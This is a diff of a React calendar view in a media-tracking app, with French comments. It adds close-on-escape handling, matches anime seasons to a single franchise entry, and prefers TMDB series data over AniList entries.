@@ -62,7 +65,7 @@ function EntryRow({ e, onOpen, onAdd, busy, added }: { e: Entry; onOpen: (i: Med
|
||||
)
|
||||
if (mine) {
|
||||
return (
|
||||
<button onClick={() => onOpen(e.item!)} className="flex w-full items-center gap-3 py-2.5 text-left">
|
||||
<button onClick={() => onOpen(e.item!)} className="flex w-full items-center gap-3 py-2.5 text-start">
|
||||
{body}
|
||||
<ChevronRight size={16} className="shrink-0 text-ink-3" />
|
||||
</button>
|
||||
@@ -109,6 +112,8 @@ export default function CalendarView({ onClose, onOpen }: { onClose: () => void;
|
||||
const request = useRef(0)
|
||||
|
||||
useScrollLock()
|
||||
useEscape(onClose)
|
||||
useBackToClose(onClose)
|
||||
|
||||
useEffect(() => {
|
||||
try {
|
||||
@@ -198,7 +203,12 @@ export default function CalendarView({ onClose, onOpen }: { onClose: () => void;
|
||||
}
|
||||
for (const r of global) {
|
||||
const key = `${r.externalId}|${r.date}`
|
||||
const item = byExt.get(r.externalId) ?? byTitle.get(normalizeText(r.title)) ?? (r.originalTitle ? byTitle.get(normalizeText(r.originalTitle)) : undefined)
|
||||
const item =
|
||||
byExt.get(r.externalId) ??
|
||||
byTitle.get(normalizeText(r.title)) ??
|
||||
(r.originalTitle ? byTitle.get(normalizeText(r.originalTitle)) : undefined) ??
|
||||
// « Black Clover Season 2 » sur AniList = ma fiche « Black Clover »
|
||||
(r.cat !== 'film' ? findFranchiseItem(items, [r.title, r.originalTitle], { type: r.cat }) : undefined)
|
||||
map.set(key, {
|
||||
key,
|
||||
date: r.date,
|
||||
@@ -262,7 +272,12 @@ export default function CalendarView({ onClose, onOpen }: { onClose: () => void;
|
||||
try {
|
||||
let data: Partial<MediaInput> = {}
|
||||
let poster: string | undefined
|
||||
if (r.externalId.startsWith('anilist:')) {
|
||||
// Anime : on préfère la fiche TMDB, qui regroupe toutes les saisons (sinon chaque saison AniList ferait une fiche)
|
||||
const series = r.externalId.startsWith('anilist:') && hasKey ? await findTmdbSeries([r.title, r.originalTitle], settings.tmdbKey!).catch(() => undefined) : undefined
|
||||
if (series) {
|
||||
data = await getTmdbDetails(series, settings.tmdbKey!)
|
||||
poster = series.posterUrl ? await remotePosterToLocal(series.posterUrl) : undefined
|
||||
} else if (r.externalId.startsWith('anilist:')) {
|
||||
const res = await getAniListById(r.externalId)
|
||||
data = { ...res?.prefill }
|
||||
poster = res?.posterUrl ?? r.poster
|
||||
@@ -314,7 +329,7 @@ export default function CalendarView({ onClose, onOpen }: { onClose: () => void;
|
||||
const browsable = isBrowsableMonth(mid)
|
||||
|
||||
return (
|
||||
<div className="sheet-in fixed inset-0 z-50 flex flex-col bg-bg" role="dialog" aria-modal="true" aria-label={t('calendar.title')}>
|
||||
<div className="sheet sheet-in" role="dialog" aria-modal="true" aria-label={t('calendar.title')}>
|
||||
<header className="safe-top border-b border-line">
|
||||
<div className="mx-auto flex max-w-2xl items-center gap-2 px-3 py-2.5">
|
||||
<button onClick={onClose} className="grid size-10 place-items-center rounded-full text-ink-2" aria-label={t('common.close')}>
|
||||
@@ -337,7 +352,7 @@ export default function CalendarView({ onClose, onOpen }: { onClose: () => void;
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div className="flex-1 overflow-y-auto overscroll-contain">
|
||||
<div className="sheet-scroll">
|
||||
<div className="safe-bottom mx-auto max-w-2xl px-4 pb-16 pt-4">
|
||||
{/* Toutes les sorties / mes titres */}
|
||||
<div className="mb-3 grid grid-cols-2 gap-1 rounded-full border border-line p-1">
|
||||
|
||||
Loaded 100 of 270 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user